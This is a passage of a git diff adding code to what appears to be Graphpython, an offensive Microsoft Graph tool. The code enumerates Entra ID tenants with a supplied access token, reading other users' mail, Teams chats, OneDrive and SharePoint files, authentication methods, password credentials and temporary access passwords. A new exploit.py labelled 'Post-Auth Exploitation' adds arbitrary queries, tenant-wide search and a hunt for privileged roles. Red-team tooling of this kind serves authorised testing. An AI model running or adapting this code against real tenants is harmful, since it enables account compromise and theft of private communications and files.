+ print("=" * 80)
+
+# get-group
+def get_group(args):
+ print_yellow("[*] Get-Group")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/groups"
+
+ if args.id:
+ api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ response_json = response.json()
+ if args.id:
+ for key, value in response_json.items():
+ if key != "@odata.context":
+ print(f"{key}: {value}")
+ else:
+ if 'value' in response_json:
+ for user in response_json['value']:
+ for key, value in user.items():
+ print(f"{key}: {value}")
+ print()
+ else:
+ print_red("[-] No users found or unexpected response format")
+ else:
+ print_red(f"[-] Failed to retrieve user(s): {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# get-groupmember
+def get_groupmember(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Get-GroupMember command")
+ return
+ print_yellow("[*] Get-GroupMember")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}/members"
+
+ if args.select:
+ api_url += f"?$select={args.select}"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ response_json = response.json()
+ if 'value' in response_json and response_json['value']:
+ for item in response_json['value']:
+ for key, value in item.items():
+ if key != "@odata.type":
+ if isinstance(value, list):
+ print(f"{key} :")
+ for list_item in value:
+ print(f" - {list_item}")
+ elif isinstance(value, dict):
+ print(f"{key} :")
+ for sub_key, sub_value in value.items():
+ print(f" {sub_key} : {sub_value}")
+ else:
+ print(f"{key} : {value}")
+ print("\n")
+ else:
+ print_red("[-] Error: No members found in this group")
+ else:
+ print_red(f"[-] Failed to retrieve group members: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# get-userapproleassignments
+def get_userapproleassignments(args):
+ print_yellow("[*] Get-UserAppRoleAssignments")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/me/appRoleAssignments"
+
+ if args.id:
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/appRoleAssignments"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-conditionalaccesspolicy
+def get_conditionalaccesspolicy(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Get-ConditionalAccessPolicy command")
+ return
+
+ print_yellow("[*] Get-ConditionalAccessPolicy")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies/{args.id}"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ response_json = response.json()
+ for key, value in response_json.items():
+ if key != "@odata.context":
+ print(f"{key}: {value}")
+ else:
+ print_red(f"[-] Failed to retrieve CAP: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# get-application
+def get_application(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Get-Application command")
+ return
+
+ print_yellow("[*] Get-Application")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id
+ #api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" # object id
+
+ if args.select:
+ api_url += "?$select=" + args.select
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ response_json = response.json()
+ def parse_roleids(content):
+ soup = BeautifulSoup(content, 'html.parser')
+ permissions = {}
+ for h3 in soup.find_all('h3'):
+ permission_name = h3.get_text()
+ table = h3.find_next('table')
+ rows = table.find_all('tr')
+ application_id = rows[1].find_all('td')[1].get_text()
+ delegated_id = rows[1].find_all('td')[2].get_text()
+ application_description = rows[2].find_all('td')[1].get_text()
+ delegated_description = rows[2].find_all('td')[2].get_text()
+ application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown"
+ delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown"
+ permissions[application_id] = ('Application', permission_name, application_description, application_consent)
+ permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent)
+ return permissions
+ script_dir = os.path.dirname(os.path.abspath(__file__))
+ file_path = os.path.join(script_dir, 'graphpermissions.txt')
+ try:
+ with open(file_path, 'r') as file:
+ content = file.read()
+ except FileNotFoundError:
+ print_red(f"\n[-] The file {file_path} does not exist.")
+ sys.exit(1)
+ except Exception as e:
+ print_red(f"\n[-] An error occurred: {e}")
+ sys.exit(1)
+ permissions = parse_roleids(content)
+ for key, value in response_json.items():
+ if key == "requiredResourceAccess":
+ if value:
+ print_green(f"{key}:")
+ for resource in value:
+ print_green(f" Resource App ID: {resource['resourceAppId']}")
+ for access in resource['resourceAccess']:
+ role_id = access['id']
+ role_type = access['type']
+ if role_id in permissions:
+ perm_type, role_name, description, consent_required = permissions[role_id]
+ print_green(f" Role ID: {role_id}")
+ print_green(f" Role Name: {role_name}")
+ print_green(f" Description: {description}")
+ print_green(f" Type: {role_type}")
+ print_green(f" Permission Type: {perm_type}")
+ print_green(f" Admin Consent Required: {consent_required}")
+ else:
+ print_red(f" Role ID: {role_id} (Information not found)")
+ print_red(f" Type: {role_type}")
+ print(" ---")
+ else:
+ print_red(f"{key} : No assignments")
+ elif key != "@odata.context":
+ print(f"{key}: {value}")
+ else:
+ print_red(f"[-] Failed to retrieve Azure Application details: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# get-appserviceprincipal
+def get_appserviceprincipal(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Get-AppServicePrincipal command")
+ return
+
+ print_yellow("[*] Get-AppServicePrincipal")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId+eq+'{args.id}'"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-serviceprincipal
+def get_serviceprincipal(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Get-ServicePrincipal command")
+ return
+
+ print_yellow("[*] Get-ServicePrincipal")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{args.id}"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ response_json = response.json()
+ for key, value in response_json.items():
+ if key != "@odata.context":
+ print(f"{key}: {value}")
+ else:
+ print_red(f"[-] Failed to retrieve Service Principal details: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# get-serviceprincipalapproleassignments
+def get_serviceprincipalapproleassignments(args):
+ print_yellow("[*] Get-ServicePrincipalAppRoleAssignments")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{args.id}/appRoleAssignments"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-personalcontacts
+def get_personalcontacts(args):
+ print_yellow("[*] Get-PersonalContacts")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/me/contacts"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-crosstenantaccesspolicy
+def get_crosstenantaccesspolicy(args):
+ print_yellow("[*] Get-CrossTenantAccessPolicy")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy"
+
+ if args.id:
+ api_url += f"/{args.id}"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-partnercrosstenantaccesspolicy
+def get_partnercrosstenantaccesspolicy(args):
+ print_yellow("[*] Get-PartnerCrossTenantAccessPolicy")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy/templates/multiTenantOrganizationPartnerConfiguration"
+
+ if args.id:
+ api_url += f"/{args.id}"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-userchatmessages
+def get_userchatmessages(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Get-UserChatMessages command")
+ return
+ print_yellow("[*] Get-UserChatMessages")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/chats"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-administrativeunitmember
+def get_administrativeunitmember(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Get-AdministrativeUnitMember command")
+ return
+
+ print_yellow("[*] Get-AdministrativeUnitMember")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/directory/administrativeUnits/{args.id}/members"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-onedrivefiles
+def get_onedrivefiles(args):
+ print_yellow("[*] Get-OneDriveFiles")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/me/drive/root/children"
+
+ if args.id:
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/drive/root/children"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-userpermissiongrants
+def get_userpermissiongrants(args):
+ print_yellow("[*] Get-UserPermissionGrants")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/me/permissionGrants"
+
+ if args.id:
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/permissionGrants"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-oauth2permissiongrants
+def get_oauth2permissiongrants(args):
+ print_yellow("[*] Get-oauth2PermissionGrants")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants"
+
+ if args.id:
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/oauth2PermissionGrants"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-messages
+def get_messages(args):
+ print_yellow("[*] Get-Messages")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/me/messages"
+
+ if args.id:
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/messages"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-temporaryaccesspassword
+def get_temporaryaccesspassword(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Get-TemporaryAccessPassword command")
+ return
+ print_yellow("[*] Get-TemporaryAccessPassword")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/passwordMethods"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-password
+def get_password(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Get-Password command")
+ return
+ print_yellow("[*] Get-Password")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/passwordCredentials"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# list-authmethods
+def list_authmethods(args):
+ print_yellow("[*] List-AuthMethods")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/me/authentication/methods"
+
+ if args.id:
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/methods"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# list-directoryroles
+def list_directoryroles(args):
+ print_yellow("[*] List-DirectoryRoles")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/directoryRoles"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# list-notebooks
+def list_notebooks(args):
+ print_yellow("[*] List-Notebooks")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/me/onenote/notebooks"
+
+ if args.id:
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/onenote/notebooks"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# list-conditionalaccesspolicies
+def list_conditionalaccesspolicies(args):
+ print_yellow("[*] List-ConditionalAccessPolicies")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# list-conditionalauthenticationcontexts
+def list_conditionalauthenticationcontexts(args):
+ print_yellow("[*] List-ConditionalAuthenticationContexts")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/authenticationContextClassReferences"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# list-conditionalnamedlocations
+def list_conditionalnamedlocations(args):
+ print_yellow("[*] List-ConditionalNamedLocations")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# list-sharepointroot
+def list_sharepointroot(args):
+ print_yellow("[*] List-SharePointRoot")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/sites/root"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ response_json = response.json()
+ for key, value in response_json.items():
+ if key != "@odata.context":
+ print(f"{key}: {value}")
+ else:
+ print_red(f"[-] Failed to retrieve current user: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+
+# list-sharepointsites
+def list_sharepointsites(args):
+ print_yellow("[*] List-SharePointSites")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/sites"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# list-sharepointurls
+def list_sharepointurls(args):
+ print_yellow("[*] List-SharePointURLs")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/search/query"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ data = {
+ "requests": [
+ {
+ "entityTypes": ["drive"],
+ "query": {
+ "queryString": "*"
+ },
+ "from": 0,
+ "size": 500,
+ "fields": [
+ "webUrl"
+ ]
+ }
+ ]
+ }
+
+ try:
+ response = requests.post(api_url, headers=headers, json=data, timeout=30)
+ response.raise_for_status()
+
+ response_body = response.json()
+
+ if 'value' in response_body:
+ for item in response_body['value']:
+ for hit in item.get('hitsContainers', []):
+ for result in hit.get('hits', []):
+ web_url = result.get('resource', {}).get('webUrl')
+ if web_url:
+ print(web_url)
+ else:
+ print_yellow("[-] No results found in the response.")
+
+ next_link = response_body.get("@odata.nextLink")
+ while next_link:
+ response = requests.get(next_link, headers=headers, timeout=30)
+ response.raise_for_status()
+ response_body = response.json()
+
+ if 'value' in response_body:
+ for item in response_body['value']:
+ for hit in item.get('hitsContainers', []):
+ for result in hit.get('hits', []):
+ web_url = result.get('resource', {}).get('webUrl')
+ if web_url:
+ print(web_url)
+
+ next_link = response_body.get("@odata.nextLink")
+
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] Failed to search data: {str(e)}")
+ if hasattr(e, 'response'):
+ print_red(e.response.text)
+
+ print("=" * 80)
+
+# list-externalconnections
+def list_externalconnections(args):
+ print_yellow("[*] List-ExternalConnections")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/external/connections"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# list-applications
+def list_applications(args):
+ print_yellow("[*] List-Applications")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/applications"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': 'Bearer ' + get_access_token(args.token),
+ 'Accept': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+
+ if response.status_code == 200:
+ applications = response.json()
+ else:
+ print_red(f"[-] Error: API request failed with status code {response.status_code}")
+ applications = None
+
+ def parse_roleids(content):
+ soup = BeautifulSoup(content, 'html.parser')
+ permissions = {}
+ for h3 in soup.find_all('h3'):
+ permission_name = h3.get_text()
+ table = h3.find_next('table')
+ rows = table.find_all('tr')
+ application_id = rows[1].find_all('td')[1].get_text()
+ delegated_id = rows[1].find_all('td')[2].get_text()
+ application_description = rows[2].find_all('td')[1].get_text()
+ delegated_description = rows[2].find_all('td')[2].get_text()
+ application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown"
+ delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown"
+ permissions[application_id] = ('Application', permission_name, application_description, application_consent)
+ permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent)
+ return permissions
+
+ script_dir = os.path.dirname(os.path.abspath(__file__))
+ file_path = os.path.join(script_dir, 'graphpermissions.txt')
+ try:
+ with open(file_path, 'r') as file:
+ content = file.read()
+ except FileNotFoundError:
+ print_red(f"\n[-] The file {file_path} does not exist.")
+ sys.exit(1)
+ except Exception as e:
+ print_red(f"\n[-] An error occurred: {e}")
+ sys.exit(1)
+
+ permissions = parse_roleids(content)
+
+ if applications and 'value' in applications:
+ for app in applications['value']:
+ for key, value in app.items():
+ if key == 'requiredResourceAccess':
+ if value:
+ print_green(f"{key}:")
+ for resource in value:
+ print_green(f" Resource App ID: {resource['resourceAppId']}")
+ for access in resource['resourceAccess']:
+ role_id = access['id']
+ role_type = access['type']
+ if role_id in permissions:
+ perm_type, role_name, description, consent_required = permissions[role_id]
+ print_green(f" Role ID: {role_id}")
+ print_green(f" Role Name: {role_name}")
+ print_green(f" Description: {description}")
+ print_green(f" Type: {role_type}")
+ print_green(f" Permission Type: {perm_type}")
+ print_green(f" Admin Consent Required: {consent_required}")
+ else:
+ print_red(f" Role ID: {role_id} (Information not found)")
+ print_red(f" Type: {role_type}")
+ print(" ---")
+ else:
+ print_red(f"{key} : No assignments")
+ else:
+ print(f"{key} : {value}")
+ print("\n")
+ print("=" * 80)
+
+# list-serviceprincipals
+def list_serviceprincipals(args):
+ print_yellow("[*] List-ServicePrincipals")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/servicePrincipals"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# list-tenants
+def list_tenants(args):
+ print_yellow("[*] List-Tenants")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/tenantRelationships/multiTenantOrganization/tenants"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# list-joinedteams
+def list_joinedteams(args):
+ print_yellow("[*] List-JoinedTeams")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/me/joinedTeams"
+
+ if args.id:
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/joinedTeams"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# list-chats
+def list_chats(args):
+ print_yellow("[*] List-Chats")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/me/chats"
+
+ if args.id:
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/chats"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# list-chatmessages
+def list_chatmessages(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for List-ChatMessages command")
+ return
+
+ print_yellow("[*] List-ChatMessages")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/chats/{args.id}/messages"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# list-devices
+def list_devices(args):
+ print_yellow("[*] List-Devices")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/devices"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# list-administrativeunits
+def list_administrativeunits(args):
+ print_yellow("[*] List-AdministrativeUnits")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# list-onedrives
+def list_onedrives(args):
+ print_yellow("[*] List-OneDrives")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/me/drives"
+
+ if args.id:
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/drives"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# list-recentonedrivefiles
+def list_recentonedrivefiles(args):
+ print_yellow("[*] List-RecentOneDriveFiles")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/me/drive/recent"
+ user_agent = get_user_agent(args)
+ headers = {
+ "Authorization": f"Bearer {get_access_token(args.token)}",
+ "User-Agent": user_agent
+ }
+
+ try:
+ while api_url:
+ response = requests.get(api_url, headers=headers)
+ response.raise_for_status()
+ response_body = response.json()
+ filtered_data = response_body.get('value', [])
+ if filtered_data:
+ file_count = 1
+ for d in filtered_data:
+ print_green(f"File {file_count}")
+ if args.select:
+ selected_fields = args.select.split(',')
+ for field in selected_fields:
+ value = d
+ for part in field.split('.'):
+ if isinstance(value, dict) and part in value:
+ value = value[part]
+ else:
+ value = None
+ break
+ if value is not None:
+ print(f"{field} : {value}")
+ else:
+ for key, value in d.items():
+ if isinstance(value, (str, int, float, bool)):
+ print(f"{key} : {value}")
+ elif isinstance(value, dict):
+ print(f"{key} : {json.dumps(value, indent=2)}")
+ else:
+ print(f"{key} : {str(value)}")
+ print("\n")
+ file_count += 1
+ else:
+ print_red("[-] No data found")
+ return
+
+ api_url = response_body.get("@odata.nextLink")
+ except requests.RequestException as e:
+ print_red(f"[-] Error making request: {str(e)}")
+ print("=" * 80)
+
+# list-sharedonedrivefiles
+def list_sharedonedrivefiles(args):
+ print_yellow("[*] List-SharedOneDriveFiles")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/me/drive/sharedWithMe"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# list-onedriveurls
+def list_onedriveurls(args):
+ print_yellow("[*] List-OneDriveURLs")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/search/query"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ data = {
+ "requests": [
+ {
+ "entityTypes": ["driveItem"], # get OneDrive and SharePoint - no only OneDrive option
+ "query": {
+ "queryString": "*"
+ },
+ "from": 0,
+ "size": 500,
+ "fields": [
+ "webUrl"
+ ]
+ }
+ ]
+ }
+
+ try:
+ response = requests.post(api_url, headers=headers, json=data, timeout=30)
+ response.raise_for_status()
+
+ response_body = response.json()
+
+ if 'value' in response_body:
+ for item in response_body['value']:
+ for hit in item.get('hitsContainers', []):
+ for result in hit.get('hits', []):
+ web_url = result.get('resource', {}).get('webUrl')
+ if web_url:
+ print(web_url)
+ else:
+ print_yellow("[-] No results found in the response.")
+
+ next_link = response_body.get("@odata.nextLink")
+ while next_link:
+ response = requests.get(next_link, headers=headers, timeout=30)
+ response.raise_for_status()
+ response_body = response.json()
+
+ if 'value' in response_body:
+ for item in response_body['value']:
+ for hit in item.get('hitsContainers', []):
+ for result in hit.get('hits', []):
+ web_url = result.get('resource', {}).get('webUrl')
+ if web_url:
+ print(web_url)
+
+ next_link = response_body.get("@odata.nextLink")
+
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] Failed to search data: {str(e)}")
+ if hasattr(e, 'response'):
+ print_red(e.response.text)
+
+ print("=" * 80)
\ No newline at end of file
diff --git a/Graphpython/commands/exploit.py b/Graphpython/commands/exploit.py
new file mode 100644
index 0000000..b064366
--- /dev/null
+++ b/Graphpython/commands/exploit.py
@@ -0,0 +1,1339 @@
+import requests
+import json
+import os
+import time
+import sys
+from tqdm import tqdm
+from datetime import datetime, timedelta, timezone
+from tabulate import tabulate
+from bs4 import BeautifulSoup
+from cryptography import x509
+from cryptography.hazmat.primitives import hashes, serialization
+from cryptography.hazmat.primitives.serialization import pkcs12
+from cryptography.hazmat.backends import default_backend
+from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token
+from Graphpython.utils.helpers import read_file_content, format_list_style, highlight_search_term, read_and_encode_cert
+
+##########################
+# Post-Auth Exploitation #
+##########################
+
+# invoke-customquery
+def invoke_customquery(args):
+ if not args.query:
+ print_red("[-] Error: --query argument is required for Invoke-CutstomQuery command")
+ return
+
+ print_yellow("[*] Invoke-CutstomQuery")
+ print("=" * 80)
+ api_url = args.query
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ response_json = response.json()
+ if "@odata.context" in response_json:
+ del response_json["@odata.context"]
+ print(json.dumps(response_json, indent=4))
+ else:
+ print_red(f"[-] Failed to retrieve query: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# invoke-search
+def invoke_search(args):
+ if not args.search or not args.entity:
+ print_red("[-] Error: --search and --entity required for Invoke-Search command")
+ return
+
+ print_yellow("[*] Invoke-Search")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/search/query"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ json_body = {
+ "requests": [
+ {
+ "entityTypes": [args.entity],
+ "query": {
+ "queryString": args.search
+ }
+ }
+ ]
+ }
+
+ response = requests.post(api_url, headers=headers, data=json.dumps(json_body))
+ if response.ok:
+ response_body = response.json()
+
+ for key, value in response_body.items():
+ if not key.startswith("@odata.context"):
+ pretty_value = json.dumps(value, indent=4)
+ highlighted_value = highlight_search_term(pretty_value, args.search)
+ print(f"{key}: {highlighted_value}")
+
+ url = response_body.get("@odata.nextLink")
+ if url:
+ response = requests.get(url, headers=headers)
+ response.raise_for_status()
+ response_body = response.json()
+ else:
+ print_red(f"[-] Failed to search data: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# find-privilegedroleusers
+def find_privilegedroleusers(args):
+ roles = [
+ {"displayName": "Password Administrator", "roleTemplateId": "966707d0-3269-4727-9be2-8c3a10f19b9d", "description": "Can reset passwords for non-administrators and Password Administrators."},
+ {"displayName": "Global Reader", "roleTemplateId": "f2ef992c-3afb-46b9-b7cf-a126ee74c451", "description": "Can read everything that a Global Administrator can, but not update anything."},
+ {"displayName": "Directory Synchronization Accounts", "roleTemplateId": "d29b2b05-8046-44ba-8758-1e26182fcf32", "description": "Only used by Microsoft Entra Connect and Microsoft Entra Cloud Sync services."},
+ {"displayName": "Security Reader", "roleTemplateId": "5d6b6bb7-de71-4623-b4af-96380a352509", "description": "Can read security information and reports in Microsoft Entra ID and Office 365."},
+ {"displayName": "Privileged Authentication Administrator", "roleTemplateId": "7be44c8a-adaf-4e2a-84d6-ab2649e08a13", "description": "Can access to view, set and reset authentication method information for any user (admin or non-admin)."},
